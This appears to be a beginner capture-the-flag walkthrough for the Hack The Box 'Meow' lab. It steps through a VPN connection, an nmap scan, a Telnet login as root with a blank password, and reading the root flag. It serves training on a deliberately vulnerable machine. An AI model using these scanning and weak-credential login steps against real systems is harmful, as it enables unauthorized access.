

Hack The Box: Meow

Info:

- Difficulty: Very Easy
- Tags: Telnet, Weak Credentials, Misconfiguration
- Goal: Connect to the machine via Telnet using weak credentials and retrieve the root.txt flag.

Step 1: Connect to the HTB VPN

Download your .ovpn file from your HTB profile, then connect to the HTB

network: `sudo openvpn <your-vpn-config>.ovpn`

Step 2: Identify the Target

Start the Meow machine and note the IP (e.g. 10.129.x.x).

Step 3: Nmap Scan

Run a port scan to identify open ports:

`nmap -sC -sV -oN meow-nmap.txt 10.129.x.x`

Expected Output:

PORT STATE SERVICE

23/tcp open telnet

Step 4: Connect to Telnet

`telnet 10.129.x.x`

login: root

password: [press Enter]

Step 5: Retrieve the Root Flag

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whoami
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cd /root
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ls
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```
cat root.txt
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Flag format: HTB{example-root-flag}

Step 6: Submit the Flag

Paste the flag into the Meow machine's flag submission box on HTB

